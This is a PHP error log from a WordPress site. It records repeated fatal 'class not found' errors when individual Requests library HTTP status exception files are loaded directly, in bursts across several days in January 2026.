[06-Jan-2026 01:13:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[06-Jan-2026 01:13:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[06-Jan-2026 01:13:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[06-Jan-2026 01:13:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[06-Jan-2026 01:13:15 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[06-Jan-2026 01:13:15 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[06-Jan-2026 01:13:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[06-Jan-2026 01:13:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[06-Jan-2026 01:13:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[06-Jan-2026 01:13:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[06-Jan-2026 01:13:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[06-Jan-2026 01:13:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[06-Jan-2026 01:13:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[06-Jan-2026 01:13:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[06-Jan-2026 01:13:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[06-Jan-2026 01:25:59 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[06-Jan-2026 01:26:00 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[06-Jan-2026 01:26:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[06-Jan-2026 01:26:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[06-Jan-2026 01:26:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[06-Jan-2026 01:26:04 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[06-Jan-2026 01:26:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[06-Jan-2026 01:26:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[06-Jan-2026 01:26:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[06-Jan-2026 01:26:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[06-Jan-2026 01:26:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[06-Jan-2026 01:26:10 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[06-Jan-2026 01:26:11 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[06-Jan-2026 01:26:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[06-Jan-2026 01:26:13 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[06-Jan-2026 01:26:14 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[06-Jan-2026 01:26:15 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[06-Jan-2026 01:26:16 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[06-Jan-2026 01:26:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[06-Jan-2026 01:26:18 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[06-Jan-2026 01:26:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[06-Jan-2026 01:26:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[06-Jan-2026 01:26:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[06-Jan-2026 01:26:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[06-Jan-2026 01:26:24 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[06-Jan-2026 01:26:26 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[06-Jan-2026 01:26:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[06-Jan-2026 01:26:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[06-Jan-2026 01:26:29 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[06-Jan-2026 01:26:30 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[06-Jan-2026 01:26:33 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[06-Jan-2026 01:26:34 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[06-Jan-2026 01:26:36 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[13-Jan-2026 23:44:03 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[13-Jan-2026 23:44:06 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[13-Jan-2026 23:44:09 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[13-Jan-2026 23:44:12 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[13-Jan-2026 23:44:15 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[13-Jan-2026 23:44:17 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[13-Jan-2026 23:44:20 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[13-Jan-2026 23:44:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[13-Jan-2026 23:44:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[13-Jan-2026 23:44:30 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php on line 17
[13-Jan-2026 23:44:31 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status407.php on line 17
[13-Jan-2026 23:44:35 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status408.php on line 17
[13-Jan-2026 23:44:37 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status409.php on line 17
[13-Jan-2026 23:44:39 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status410.php on line 17
[13-Jan-2026 23:44:41 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status411.php on line 17
[13-Jan-2026 23:44:44 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status412.php on line 17
[13-Jan-2026 23:44:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status413.php on line 17
[13-Jan-2026 23:44:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status414.php on line 17
[13-Jan-2026 23:44:47 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status415.php on line 17
[13-Jan-2026 23:44:49 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status416.php on line 17
[13-Jan-2026 23:44:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status417.php on line 17
[13-Jan-2026 23:44:54 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status418.php on line 21
[13-Jan-2026 23:44:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status428.php on line 21
[13-Jan-2026 23:44:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status429.php on line 21
[13-Jan-2026 23:45:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status431.php on line 21
[13-Jan-2026 23:45:02 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status500.php on line 17
[13-Jan-2026 23:45:05 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status501.php on line 17
[13-Jan-2026 23:45:07 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status502.php on line 17
[13-Jan-2026 23:45:19 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status503.php on line 17
[13-Jan-2026 23:45:21 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status504.php on line 17
[13-Jan-2026 23:45:23 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status505.php on line 17
[13-Jan-2026 23:45:25 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php:21
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status511.php on line 21
[13-Jan-2026 23:45:27 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php:18
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/StatusUnknown.php on line 18
[14-Jan-2026 00:04:41 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status304.php on line 17
[14-Jan-2026 00:04:42 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status305.php on line 17
[14-Jan-2026 00:04:43 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status306.php on line 17
[14-Jan-2026 00:04:45 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status400.php on line 17
[14-Jan-2026 00:04:47 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status401.php on line 17
[14-Jan-2026 00:04:49 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status402.php on line 17
[14-Jan-2026 00:04:52 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status403.php on line 17
[14-Jan-2026 00:04:55 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status404.php on line 17
[14-Jan-2026 00:04:58 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php:17
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status405.php on line 17
[14-Jan-2026 00:05:01 UTC] PHP Fatal error:  Uncaught Error: Class 'WpOrg\Requests\Exception\Http' not found in /home/antiaginglove/public_html/wp-includes/Requests/src/Exception/Http/Status406.php:17
Stack trace:
#0 {main}
